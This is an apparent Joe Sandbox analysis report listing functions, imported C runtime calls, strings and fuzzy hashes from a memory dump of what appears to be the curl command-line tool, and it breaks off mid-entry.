String ID: %s (0x%08X)$%s - %s$Address already in use$Address family not supported$Address not available$Bad access$Bad argument$Bad file$Bad message size$Bad protocol$Bad quota$Blocking call in progress$Call interrupted$Call would block$Connection refused$Connection was aborted$Connection was reset$Descriptor is not a socket$Disconnected$Host down$Host not found$Host not found, try again$Host unreachable$Invalid arguments$Loop??$Name too long$Need destination address$Network down$Network has been reset$Network unreachable$No buffer space$No data record of requested type$Not empty$Operation not supported$Out of file descriptors$Process limit reached$Protocol family not supported$Protocol is unsupported$Protocol option is unsupported$Remote error$SEC_E_CANNOT_INSTALL$SEC_E_INSUFFICIENT_MEMORY$SEC_E_INTERNAL_ERROR$SEC_E_INVALID_HANDLE$SEC_E_NOT_OWNER$SEC_E_SECPKG_NOT_FOUND$SEC_E_TARGET_UNKNOWN$SEC_E_UNSUPPORTED_FUNCTION$Socket has been shut down$Socket is already connected$Socket is not connected$Socket is unsupported$Something is stale$Timed out$Too many references$Too many users$Unknown error$Unknown error %d (%#x)$Unrecoverable error in call to nameserver$Winsock library is not ready$Winsock library not initialised$Winsock version not supported
API String ID: 3913568843-2339563239
Opcode ID: 27419c87856b80f3f22d83cd32d27a1f5f70c209ea2bd0071d0bce82d7fb6665
Instruction ID: 592fc3a11c8805aa7b3cdb93a40f6df8017f0a8739780d8778d8e5272a1343fc
Opcode Fuzzy Hash: 27419c87856b80f3f22d83cd32d27a1f5f70c209ea2bd0071d0bce82d7fb6665
Instruction Fuzzy Hash: 14A1B030308360DBE7226A1DFE457AA3655DB61319F180037F8969B246F62ADE10FB73

Function 00D13120 Relevance: 51.2, APIs: 20, Strings: 9, Instructions: 454stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D1317A
strlen.MSVCRT ref: 00D131A2
strpbrk.MSVCRT ref: 00D131C7
malloc.MSVCRT ref: 00D13202
strncpy.MSVCRT ref: 00D13217
strncmp.MSVCRT ref: 00D1323A
strlen.MSVCRT ref: 00D13337
malloc.MSVCRT ref: 00D13343
strncpy.MSVCRT ref: 00D13358
free.MSVCRT ref: 00D13604
strlen.MSVCRT ref: 00D13611
free.MSVCRT ref: 00D1361E

Strings

CON, xrefs: 00D13412
LPT, xrefs: 00D134AB
PRN, xrefs: 00D1342F
\\?\, xrefs: 00D13234
NUL, xrefs: 00D13465
COM, xrefs: 00D13497
CLOCK$, xrefs: 00D1347E
\/:, xrefs: 00D131C1, 00D13397, 00D13545
AUX, xrefs: 00D1344C

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlen$freemallocstrncpy$strncmpstrpbrk
String ID: AUX$CLOCK$$COM$CON$LPT$NUL$PRN$\/:$\\?\
API String ID: 2260474773-1589196987
Opcode ID: c9667c2e2c366f654e87d902fa6a0888f7affadfe6e62c1ff36ab314f5713978
Instruction ID: cb9c21a28f6dcbabb6d2a0d3c471136c037278f0a7fa8069d78453ecdfeaff3a
Opcode Fuzzy Hash: c9667c2e2c366f654e87d902fa6a0888f7affadfe6e62c1ff36ab314f5713978
Instruction Fuzzy Hash: F2D116A1A043407BFB315528BC42BEB33D98B62744F1C0039E98987382EE39DFC59672

Function 00D1EB10 Relevance: 51.0, APIs: 5, Strings: 24, Instructions: 266stringCOMMON

Download Yara Rule

APIs

_strdup.MSVCRT(?,?,?,?,?,00D18401,?,?), ref: 00D1EB26
strtok.MSVCRT(00000000,00FB90B0), ref: 00D1EB3E
strtok.MSVCRT(00000000,00FB90B0), ref: 00D1EE8E
free.MSVCRT ref: 00D1EEA1
free.MSVCRT ref: 00D1EEAE

Strings

https, xrefs: 00D1EBF6
gopher, xrefs: 00D1EDD4
rtsp, xrefs: 00D1EDBD
file, xrefs: 00D1ECE9
ldaps, xrefs: 00D1ECB3
pop3, xrefs: 00D1ED55
dict, xrefs: 00D1ECCE
ftp, xrefs: 00D1EC11
tftp, xrefs: 00D1ED04
smb, xrefs: 00D1EDEB
sftp, xrefs: 00D1EC62
ftps, xrefs: 00D1EC2C
unrecognized protocol '%s', xrefs: 00D1EE70
imap, xrefs: 00D1ED1F
ldap, xrefs: 00D1EC98
smbs, xrefs: 00D1EE02
smtp, xrefs: 00D1ED8B
pop3s, xrefs: 00D1ED70
imaps, xrefs: 00D1ED3A
scp, xrefs: 00D1EC47
http, xrefs: 00D1EBDB
smtps, xrefs: 00D1EDA6
telnet, xrefs: 00D1EC7D
all, xrefs: 00D1EBC0

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: freestrtok$_strdup
String ID: all$dict$file$ftp$ftps$gopher$http$https$imap$imaps$ldap$ldaps$pop3$pop3s$rtsp$scp$sftp$smb$smbs$smtp$smtps$telnet$tftp$unrecognized protocol '%s'
API String ID: 1031179057-350857173
Opcode ID: b95417001fcee81ec649d1d0b65666dc8bc9bb16e68b4f26be78c9ae06e5bc51
Instruction ID: 6cf506cb3fdb461aa9e3f3b68336578771236cb0569dc94503325f8b1cfd06c4
Opcode Fuzzy Hash: b95417001fcee81ec649d1d0b65666dc8bc9bb16e68b4f26be78c9ae06e5bc51
Instruction Fuzzy Hash: CC7187D9B4831732DB1025767D46BEB2A4E8B66748F080834FE06A9383FDD5D9847A72

Function 00D11B10 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 346fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00D11B6B
fflush.MSVCRT ref: 00D11B7E
memchr.MSVCRT ref: 00D11EBE

Strings

%.*s:, xrefs: 00D11ED4
filename=, xrefs: 00D11BF2
Content-disposition:, xrefs: 00D11BB8
Failed to rename %s -> %s: %s, xrefs: 00D11DD1

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: fflushfwritememchr
String ID: %.*s:$Content-disposition:$Failed to rename %s -> %s: %s$filename=
API String ID: 2783944976-1855582235
Opcode ID: 114bfb6c7993f8766e6117601c8881afa05137ecd7edd4c779de0312f66add42
Instruction ID: 269ec62cf9f39f620ecf31b2963b2fdfa0059ef533ceb525a80b01a26dd721c7
Opcode Fuzzy Hash: 114bfb6c7993f8766e6117601c8881afa05137ecd7edd4c779de0312f66add42
Instruction Fuzzy Hash: 8AB119B9A043017FEB219F24AC41BABB7A9AF51344F1C0028FD4897252EB75DD94C7B2

Function 00D115D0 Relevance: 44.2, APIs: 10, Strings: 15, Instructions: 409stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D215C0: GetTickCount.KERNEL32 ref: 00D215C0

time.MSVCRT(00000000), ref: 00D1160C
localtime.MSVCRT(?), ref: 00D1162D
strcmp.MSVCRT ref: 00D11724
strcmp.MSVCRT ref: 00D1173A
fopen.MSVCRT ref: 00D11750

Strings

Failed to create/open output, xrefs: 00D11767
%04zx: , xrefs: 00D11931
%02d:%02d:%02d.%06ld , xrefs: 00D11642
=> Send header, xrefs: 00D11783
=> Send data, xrefs: 00D118CC
<= Recv SSL data, xrefs: 00D118D3
=> Send SSL data, xrefs: 00D118DA
%02x , xrefs: 00D1196C
%s%s, %zu bytes (0x%zx), xrefs: 00D118FC
[%zu bytes data], xrefs: 00D116F7
<= Recv data, xrefs: 00D118C5
>{}, xrefs: 00D1185F, 00D11AB6
<= Recv header, xrefs: 00D118BE, 00D118FA
%s%s , xrefs: 00D116E4, 00D117C2, 00D11869, 00D11ABC
%s== Info: %s, xrefs: 00D11795

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strcmp$CountTickfopenlocaltimetime
String ID: %02d:%02d:%02d.%06ld $%02x $%04zx: $%s%s $%s%s, %zu bytes (0x%zx)$%s== Info: %s$<= Recv SSL data$<= Recv data$<= Recv header$=> Send SSL data$=> Send data$=> Send header$>{}$Failed to create/open output$[%zu bytes data]
API String ID: 1854772924-2919892447
Opcode ID: b6c714ea2e47834dc8561a2b83b0ee7a7901f92e8368116117b07c12e7f4dd3b
Instruction ID: 7cae5176541df8ce7b13a7347e84bca2d6b6762f871668eee0baaef5bca1db33
Opcode Fuzzy Hash: b6c714ea2e47834dc8561a2b83b0ee7a7901f92e8368116117b07c12e7f4dd3b
Instruction Fuzzy Hash: CFC139B4A08304BFDB209F58E845BA777E9EB85304F08441DF98583242EBB5D985D7B3

Function 00D1BC34 Relevance: 42.3, APIs: 12, Strings: 12, Instructions: 298COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00D1A201
fclose.MSVCRT ref: 00D1A233
free.MSVCRT ref: 00D1A24C
fclose.MSVCRT ref: 00D1AF92
free.MSVCRT ref: 00D1B116
free.MSVCRT ref: 00D1B12A
_close.MSVCRT ref: 00D1B145
free.MSVCRT ref: 00D1E274

Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D2029F
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D202B5
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D202CB
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D202E1
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D202F7
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D2030D
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D20323
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D20339

Part of subcall function 00D20260: free.MSVCRT ref: 00D204BD

free.MSVCRT ref: 00D1E305
free.MSVCRT ref: 00D1E32F
free.MSVCRT ref: 00D1E341
free.MSVCRT ref: 00D1E353

Strings

CURLOPT_TRANSFER_ENCODING, xrefs: 00D1BD95
CURLOPT_MAXREDIRS, xrefs: 00D1BC91
P"-, xrefs: 00D1E318
CURLOPT_PROXYHEADER, xrefs: 00D1BC3A
CURLOPT_ACCEPT_ENCODING, xrefs: 00D1BD61
CURLOPT_POSTREDIR, xrefs: 00D1BD2A
(%d) Failed writing body, xrefs: 00D1AFC9
t70, xrefs: 00D1B183
Hj, xrefs: 00D1ADB6
CURLOPT_HTTP09_ALLOWED, xrefs: 00D1BDC7
CURLOPT_HTTP_VERSION, xrefs: 00D1BCD9
CURLOPT_HEADEROPT, xrefs: 00D1BC62

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: free$strcmp$fclose$_close
String ID: (%d) Failed writing body$CURLOPT_ACCEPT_ENCODING$CURLOPT_HEADEROPT$CURLOPT_HTTP09_ALLOWED$CURLOPT_HTTP_VERSION$CURLOPT_MAXREDIRS$CURLOPT_POSTREDIR$CURLOPT_PROXYHEADER$CURLOPT_TRANSFER_ENCODING$P"-$t70$Hj
API String ID: 3512857261-4171261797
Opcode ID: 58c7c5508cd0fc0772cf8a0d604626be016e1b436cecead4cd029c84e57f1636
Instruction ID: d6f05f373a8b4651e5fb0bf1eea16e3dfcfe57ca94d0401bed5175ecf24b1930
Opcode Fuzzy Hash: 58c7c5508cd0fc0772cf8a0d604626be016e1b436cecead4cd029c84e57f1636
Instruction Fuzzy Hash: E8C1B4B0608301EFEB209F15ED45B9BB7E1AF94348F14482DF489972A1EB75D884DB63

Function 00D1FC40 Relevance: 40.9, APIs: 8, Strings: 19, Instructions: 366stringCOMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00D1FCBC
free.MSVCRT ref: 00D1FD86
free.MSVCRT ref: 00D1FDDA
free.MSVCRT ref: 00D1FF23
free.MSVCRT ref: 00D1FF65
free.MSVCRT ref: 00D1FFA8

Part of subcall function 00D1FC40: free.MSVCRT ref: 00D1FED9

strcmp.MSVCRT ref: 00D20086

Strings

(curl_seek_callback) fseek, NULL, stdin);, xrefs: 00D1FE4A
curl_mime_data_cb(part%d, -1, (curl_read_callback) fread, \, xrefs: 00D1FE30
curl_mime_data(part%d, "%s", CURL_ZERO_TERMINATED);, xrefs: 00D200A4
curl_mime_filedata(part%d, "%s");, xrefs: 00D1FDFC
mime%d = curl_mime_init(hnd);, xrefs: 00D1FC8B
curl_mime_filename(part%d, NULL);, xrefs: 00D200D6
curl_mime_free(mime%d);, xrefs: 00D1FCA3
slist%d = NULL;, xrefs: 00D20033
curl_mime_data(part%d, "%s", %I64d);, xrefs: 00D1FDB7
curl_mimepart *part%d;, xrefs: 00D1FCF4
curl_mime_type(part%d, "%s");, xrefs: 00D1FFCA
mime%d = NULL;, xrefs: 00D1FC73, 00D1FCD0, 00D1FEAE
curl_mime_headers(part%d, slist%d, %d);, xrefs: 00D2000E
curl_mime *mime%d;, xrefs: 00D1FC59
part%d = curl_mime_addpart(mime%d);, xrefs: 00D1FD21
curl_mime_subparts(part%d, mime%d);, xrefs: 00D1FE93
curl_mime_name(part%d, "%s");, xrefs: 00D1FF87
curl_mime_filename(part%d, "%s");, xrefs: 00D1FF44
curl_mime_encoder(part%d, "%s");, xrefs: 00D1FEFD

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: free$strcmp
String ID: (curl_seek_callback) fseek, NULL, stdin);$curl_mime *mime%d;$curl_mime_data(part%d, "%s", %I64d);$curl_mime_data(part%d, "%s", CURL_ZERO_TERMINATED);$curl_mime_data_cb(part%d, -1, (curl_read_callback) fread, \$curl_mime_encoder(part%d, "%s");$curl_mime_filedata(part%d, "%s");$curl_mime_filename(part%d, "%s");$curl_mime_filename(part%d, NULL);$curl_mime_free(mime%d);$curl_mime_headers(part%d, slist%d, %d);$curl_mime_name(part%d, "%s");$curl_mime_subparts(part%d, mime%d);$curl_mime_type(part%d, "%s");$curl_mimepart *part%d;$mime%d = NULL;$mime%d = curl_mime_init(hnd);$part%d = curl_mime_addpart(mime%d);$slist%d = NULL;
API String ID: 507678545-2381200950
Opcode ID: 12d4759122727b09605dd77cf30bd9a0cd2e5e50ee7ee22b90401373cbc90d5b
Instruction ID: 881a9b4072784be5856fb7627bacd397066dd0cd1af64de92919aa19f8e430aa
Opcode Fuzzy Hash: 12d4759122727b09605dd77cf30bd9a0cd2e5e50ee7ee22b90401373cbc90d5b
Instruction Fuzzy Hash: 1FC1F9B1708345BBEB106F65BC81AEA77999F50394F080139FD54C6243FBB1CD94AAB2

Function 00D1A7DA Relevance: 40.5, APIs: 16, Strings: 7, Instructions: 257filestringCOMMON

Download Yara Rule

APIs

_strdup.MSVCRT(?), ref: 00D1A7DE
fwrite.MSVCRT ref: 00D1AA42
fclose.MSVCRT ref: 00D1AF92
free.MSVCRT ref: 00D1B116
free.MSVCRT ref: 00D1B12A
strcmp.MSVCRT ref: 00D1E18E
free.MSVCRT ref: 00D1E1D3

Strings

P"-, xrefs: 00D1E318
(%d) Failed writing body, xrefs: 00D1AFC9
<, xrefs: 00D1AA4A
t70, xrefs: 00D1B183
bad output glob!, xrefs: 00D1E1E7
curl: (%d) %s, xrefs: 00D1AA19
More details here: https://curl.haxx.se/docs/sslcerts.htmlcurl failed to verify the legitimacy of the server and therefore could notestablish a secure connection to it. To learn more about this situation andhow to fix it, please visit the web page mentione, xrefs: 00D1AA3D

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: free$_strdupfclosefwritestrcmp
String ID: (%d) Failed writing body$<$More details here: https://curl.haxx.se/docs/sslcerts.htmlcurl failed to verify the legitimacy of the server and therefore could notestablish a secure connection to it. To learn more about this situation andhow to fix it, please visit the web page mentione$P"-$bad output glob!$curl: (%d) %s$t70
API String ID: 97970600-567622460
Opcode ID: 3654e7e7f23e70548b12d1c50ad4f4557e692802ac24e2c04607739b3be5f023
Instruction ID: d4236a2acac76f6e7424d91444d2d225a484d9a86fd947aac6ee826184eca3e9
Opcode Fuzzy Hash: 3654e7e7f23e70548b12d1c50ad4f4557e692802ac24e2c04607739b3be5f023
Instruction Fuzzy Hash: 83A192F1608340AFEB209F25E845B9BB7E4AF90348F184C2DF48957251DB75D988DBA3

Function 00D1A5DD Relevance: 38.8, APIs: 17, Strings: 5, Instructions: 275stringfileCOMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00D1A201
fclose.MSVCRT ref: 00D1A233
free.MSVCRT ref: 00D1A24C
strcmp.MSVCRT ref: 00D1A63A
strcmp.MSVCRT ref: 00D1A8CA
fwrite.MSVCRT ref: 00D1AA42
_fileno.MSVCRT ref: 00D1AB4A
_isatty.MSVCRT ref: 00D1AB53
strstr.MSVCRT ref: 00D1AC03
strrchr.MSVCRT ref: 00D1AC16
strchr.MSVCRT ref: 00D1AC25
free.MSVCRT ref: 00D1AC6D
strcmp.MSVCRT ref: 00D1ACA1
fclose.MSVCRT ref: 00D1AF92
free.MSVCRT ref: 00D1B116
free.MSVCRT ref: 00D1B12A
_close.MSVCRT ref: 00D1B145
_strdup.MSVCRT(00000000), ref: 00D1E127
_strdup.MSVCRT(00000000), ref: 00D1E152
strcmp.MSVCRT ref: 00D1E18E
free.MSVCRT ref: 00D1E1D3
free.MSVCRT ref: 00D1E274
free.MSVCRT ref: 00D1E305
free.MSVCRT ref: 00D1E32F
free.MSVCRT ref: 00D1E341
free.MSVCRT ref: 00D1E353

Strings

P"-, xrefs: 00D1E318
(%d) Failed writing body, xrefs: 00D1AFC9
t70, xrefs: 00D1B183
9, xrefs: 00D1A684
bad output glob!, xrefs: 00D1E1E7

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: free$strcmp$_strdupfclose$_close_fileno_isattyfwritestrchrstrrchrstrstr
String ID: (%d) Failed writing body$P"-$bad output glob!$t70$9
API String ID: 4284395340-3740193650
Opcode ID: c5bdf1973e611a73cef9394b09057af06c4a6297aca49af5d2a134d22fe8b007
Instruction ID: 84e0e8c49251fcec545e9f7c00c06d9289baa22d5f762763fbb4deb672896e44
Opcode Fuzzy Hash: c5bdf1973e611a73cef9394b09057af06c4a6297aca49af5d2a134d22fe8b007
Instruction Fuzzy Hash: 14B163F1508340AFEB209F25E95579BBBE4BF80308F18492DE48987251DB79D988DF63

Function 00D20260 Relevance: 36.2, APIs: 9, Strings: 15, Instructions: 212stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00D2029F
strcmp.MSVCRT ref: 00D202B5
strcmp.MSVCRT ref: 00D202CB
strcmp.MSVCRT ref: 00D202E1
strcmp.MSVCRT ref: 00D202F7
strcmp.MSVCRT ref: 00D2030D
strcmp.MSVCRT ref: 00D20323
strcmp.MSVCRT ref: 00D20339
free.MSVCRT ref: 00D204BD

Strings

CURLOPT_SSL_VERIFYPEER, xrefs: 00D20299
%s set to a %s, xrefs: 00D204A8
%ldL, xrefs: 00D20456
CURLOPT_TCP_NODELAY, xrefs: 00D202F1
CURLOPT_PROXY_SSL_VERIFYPEER, xrefs: 00D20307
CURLOPT_SOCKS5_AUTH, xrefs: 00D20333
(curl_off_t)%I64d, xrefs: 00D2039E
objectpointer, xrefs: 00D2040E, 00D204A0
functionpointer, xrefs: 00D2037E
CURLOPT_PROXY_SSL_VERIFYHOST, xrefs: 00D2031D
CURLOPT_SSL_VERIFYHOST, xrefs: 00D202AF
curl_easy_setopt(hnd, %s, "%s");, xrefs: 00D204F0
CURLOPT_SSL_ENABLE_ALPN, xrefs: 00D202DB
CURLOPT_SSL_ENABLE_NPN, xrefs: 00D202C5
curl_easy_setopt(hnd, %s, %s);, xrefs: 00D20510

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strcmp$free
String ID: %ldL$%s set to a %s$(curl_off_t)%I64d$CURLOPT_PROXY_SSL_VERIFYHOST$CURLOPT_PROXY_SSL_VERIFYPEER$CURLOPT_SOCKS5_AUTH$CURLOPT_SSL_ENABLE_ALPN$CURLOPT_SSL_ENABLE_NPN$CURLOPT_SSL_VERIFYHOST$CURLOPT_SSL_VERIFYPEER$CURLOPT_TCP_NODELAY$curl_easy_setopt(hnd, %s, "%s");$curl_easy_setopt(hnd, %s, %s);$functionpointer$objectpointer
API String ID: 3401341699-411265327
Opcode ID: b009de14876dc60434cab02e08a6f7477207f13887b54bdb003ac6ca7f3157f3
Instruction ID: eae3931e64ef8a9355a52bdc853d5a50125dfab5f1696e5a103212fe233ea102
Opcode Fuzzy Hash: b009de14876dc60434cab02e08a6f7477207f13887b54bdb003ac6ca7f3157f3
Instruction Fuzzy Hash: 565141726083205BDB20BA15BD41AAB7AD8CF54358F09803DFE8897243F665DD51A6B3

Function 00D3E020 Relevance: 35.4, APIs: 11, Strings: 9, Instructions: 350stringCOMMON

Download Yara Rule

APIs

sscanf.MSVCRT ref: 00D3E08A
strlen.MSVCRT ref: 00D3E0D9

Strings

Resolve address '%s' found illegal!, xrefs: 00D3E415
RESOLVE %s:%d is - old addresses discarded!, xrefs: 00D3E353
RESOLVE %s:%d is wildcard, enabling wildcard checks, xrefs: 00D3E3F3
Added %s:%d:%s to DNS cache, xrefs: 00D3E3C6
%s:%d, xrefs: 00D3E09F, 00D3E2B2
Couldn't parse CURLOPT_RESOLVE entry '%s'!, xrefs: 00D3E443
*, xrefs: 00D3E3D4
Couldn't parse CURLOPT_RESOLVE removal entry '%s'!, xrefs: 00D3E2D7
%255[^:]:%d, xrefs: 00D3E084

Memory Dump Source

